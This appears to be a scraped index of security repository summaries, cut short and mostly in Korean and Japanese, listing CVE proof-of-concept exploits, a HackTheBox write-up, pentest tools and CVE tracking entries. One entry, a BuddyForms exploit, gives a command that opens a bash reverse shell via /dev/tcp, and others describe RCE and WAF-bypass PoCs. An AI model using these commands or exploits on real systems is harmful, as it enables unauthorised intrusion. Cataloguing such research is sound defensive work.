HTB-TwoMillion-Writeup

HTB-TwoMillion-분석기 HackTheBox TwoMillion 머신 분석기 — API 남용, 명령 삽입 및 CVE-2023-0386 HackTheBox — TwoMillion 분석기 HackTheBox — TwoMillion 분석기 머신 정보 필드| 세부사항 ---|--- 이름| TwoMillion 난이도| 쉬움 운영체제| Linux IP| 10.10.11.221 CVE| CVE-2023-0386 요약 TwoMillion은 이전 HackTheBox 플랫폼을 주제로 한 쉬운 난이도의 Linux 머신입니다. 초대 코드...

xwiki__xwiki-rendering_CVE-2023-37908_14-10-3

XWiki 렌더링 XWiki Rendering은 주어진 구문위키 구문, HTML 등의 텍스트 입력을 다른 구문XHTML 등으로 변환하는 일반 렌더링 시스템입니다. XWiki Platform, XWiki Commons, XWiki Rendering은 XWiki.org 소프트웨어 포지의 일부입니다. 이들은 함께 릴리스되며 동일한 버전을 공유합니다. 문서 문서 API 개발 영역 다운로드 XWiki Rendering JAR 파일은 에서 확인할 수 있습니다. 릴리스 노트 릴리스 노트를 확인하세요. 도구 지속적 통합 설정은 각 커밋마다...

cve-2018-12895-hotfix

이 저장소에는 README가 없습니다...

xstream-CVE-2020-26217

xstream-CVE-2020-26217...

legion

NOTICE Legionリポジトリは https://github.com/hackman238/legion に移行しています。今後のリリースやアップデートなどはすべてそこから行われます。大きな改善が予定されています！この組織の下にあるこのリポジトリは今後メンテナンスされません。 ✨ 概要 Legionは、SECFORCEのSpartaのフォークであり、オープンソースで使いやすく、非常に拡張性が高く、半自動化されたネットワークペネトレーションテストフレームワークです。情報システムの発見、偵察、および悪用を支援します。 KaliにおけるNMAP 7.92のSegfault修正...

CVE-2023-26326_Buddyform_exploit

python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' もともと、CVE-2023–26326 を悪用するには、デシリアライゼーションの脆弱性としてガジェットチェーンが必要でした。この手法は PHP 8+ で動作する新しい WordPress サイトではもはや使用できません。しかし、CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 と組み合わせることで、phar:// の代わりに php://filt...

0xsp-Mongoose

지속적인 개발을 위해 프로젝트를 지원하세요 ETH 0xf340c15c5e669a4ababab856e9f2bccd659d6e42 Windows용 0xsp Mongoose RED 현재 릴리스 2.2.0 0xsp mongoose red 버전은 사이버 보안 시뮬레이션 중 여러분의 요구를 지원하기 위해 제공됩니다. 이 버전을 사용하면 대상 Windows 운영 체제를 감사하여 시스템 취약점, 잘못된 구성 및 권한 상승 공격을 찾아내고 네트워크에서 고급 공격자의 전술과 기술을 복제할 수 있습니다. Node.js 지원을 통한 웹 애플리케이션...

CVE-2020-0796-RCE-POC

CVE-2020-0796 원격 코드 실행 PoC c 2020 ZecOps, Inc. - https://www.zecops.com - 공격자의 실수를 찾아내다 CVE-2020-0796 / "SMBGhost"를 위한 원격 코드 실행 PoC 예상 결과: 시스템 접근 권한이 있는 리버스 셸. 교육 및 기업 환경에서의 테스트 용도로만 사용하세요. ZecOps는 이 코드에 대해 어떠한 책임도 지지 않습니다. 사용에 따른 위험은 본인이 감수해야 합니다. 서버, 엔드포인트 및 모바일 기기에서 SMBGhost 및 기타 유형의 공격을 자동으로...

SMBGhost

SMBGhost CVE-2020-0796 - SMBv3 RCE를 위한 간단한 스캐너입니다. 이 스캐너는 서버가 취약한지 여부를 테스트하기 위한 용도로만 제작되었습니다. 연구 또는 개발을 위한 것이 아니며, 따라서 페이로드는 고정되어 있습니다. 이 스캐너는 Negotiate 요청을 통해 SMB 프로토콜 버전 3.1.1과 압축 지원 여부를 확인합니다. Windows 2019 Server 10.0.0.133를 대상으로 실행한 스캐너의 네트워크 덤프는 SMBGhost.pcap 파일에서 확인할 수 있습니다. 사용법 python3...

CVE-2020-0796-POC

CVE-2020-0796 사전 인증 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 공격자의 실수 찾기 CVE-2020-0796 / "SMBGhost" 확인용 POC 예상 결과: 블루 스크린 교육 및 기업 환경에서의 테스트 전용입니다. ZecOps는 이 코드에 대해 책임을 지지 않으며, 사용에 따른 위험은 사용자 본인에게 있습니다. 서버, 엔드포인트 및 모바일 장치에서 SMBGhost 및 기타 공격 유형을 자동으로 탐지하는 에이전트 없는 DFIR 도구에 관심이 있으시면...

PoC_CVEs

PoC CVEs — 개념 증명 저장소 인덱스 CVE 식별자에 매핑된 공개 GitHub 개념 증명 저장소의 지속적으로 업데이트되는 인덱스입니다. 교육 및 방어적 보안 연구 목적으로만 사용하세요. 실시간 검색 인터페이스 labs.jamessawyer.co.uk/cves/ 전체 인덱스에서 검색 가능한 웹 인터페이스입니다. 정확한 CVE ID 또는 저장소 조각으로 몇 초 만에 PoC 저장소를 찾을 수 있습니다. 이 저장소의 목적 이 저장소는 GitHub 및 유사 소스에서 공개적으로 이용 가능한 개념 증명 익스플로잇 코드 및 취약점 데...

CVE-2026-59960

creationtimestamp| type| source ---|---|--- 2026-09-11 00:35:45+00:00| published-proof-of-concept| https://github.com/argos-ci/argos-javascript/security/advisories/GHSA-4x45-gxvp-6283...

CVE-2026-87014

creationtimestamp| type| source ---|---|--- 2026-09-11 00:35:41+00:00| published-proof-of-concept| https://github.com/advisories/GHSA-wjwr-xfp9-r66p 2026-09-11 16:33:17+00:00| seen| https://gist.github.com/alon710/57a0435a9d7a14ff9a1f3ca71156beef...

CVE-2026-87012

creationtimestamp| type| source ---|---|--- 2026-09-11 00:35:36+00:00| published-proof-of-concept| https://github.com/open-webui/open-webui/security/advisories/GHSA-v39v-59xw-j98g 2026-09-11 14:31:53+00:00| seen| https://gist.github.com/alon710/e350315aab7316ce10d2d2056b580adf...

CVE-2026-88004

creationtimestamp| type| source ---|---|--- 2026-09-11 00:35:05+00:00| published-proof-of-concept| https://github.com/traefik/traefik/security/advisories/GHSA-v67p-phpq-fc8x...

CVE-2026-88008

creationtimestamp| type| source ---|---|--- 2026-09-11 00:35:03+00:00| published-proof-of-concept| https://github.com/traefik/traefik/security/advisories/GHSA-w4v4-9rw7-5326...

react2shell-CVE-2025-55182-poc

CVE-2025-55182 React2Shell PoC - WAF 우회 포함 CVE-2025-55182일명 React2Shell를 위한 깔끔하고 신뢰할 수 있는 Python 개념 증명 익스플로잇입니다. 이는 Next.jsApp Router 및 유사 프레임워크에서 사용되는 React Server Components의 중요 원격 코드 실행 취약점입니다. 이 PoC는 대규모 멀티파트 본문의 심층 검사를 제한하는 일반적인 웹 애플리케이션 방화벽Cloudflare, AWS WAF 등을 우회하기 위한 동적 WAF 우회 패딩 을 포함합니다...

DAHUA_AUTH-BYPASS-CVE-2021-33044

Dahua 인증 우회 PoC 모의 침투 CVE-2021-33044 개요 Dahua IP 카메라는 보안 감시 시스템에서 널리 사용되는 IoT 장치입니다. 내부 네트워크나 인터넷을 통해 자주 배포되므로 IP 카메라의 보안 취약점은 프라이버시와 정보 보안에 심각한 영향을 미칠 수 있습니다. CVE-2021-33045는 일부 Dahua 카메라 모델에 존재하는 보안 취약점으로, 유효한 인증 없이 내부 구성 리소스에 무단으로 접근할 수 있습니다. 이 취약점은 장치 펌웨어의 취약한 접근 제어 메커니즘에서 비롯됩니다. 취약점 정보 항목| 내...

CVE-2026-85706

creationtimestamp| type| source ---|---|--- 2026-09-11 00:17:16+00:00| seen| https://bsky.app/profile/securityonline.bsky.social/post/3mv7c2savxc2e 2026-09-11 04:02:56+00:00| seen| https://bsky.app/profile/whatsnew.fyi/post/3mv7ooemhtb2t 2026-09-11 12:08:20+00:00| seen|...

CVE-2025-5548

💣 Exploit Development - 버퍼 오버플로우 이 저장소는 초기 분석부터 실행 흐름 제어까지 구조화된 방법론을 따라 버퍼 오버플로우 유형의 취약점을 악용하는 전체 프로세스를 문서화합니다. 🎯 목표 이 단계의 목표는 취약한 프로그램의 실행 흐름을 리디렉션하고 임의 코드 실행을 위한 기반을 마련하는 기능적 익스플로잇을 개발하는 것입니다. 🧭 악용 방법론 다음은 프로세스 중 수행된 단계를 자세히 설명합니다. 🔍 1단계 - 바이너리 정적 분석 IDA Free 리버스 엔지니어링 도구를 사용한 바이너리 분석을 통해 다음을...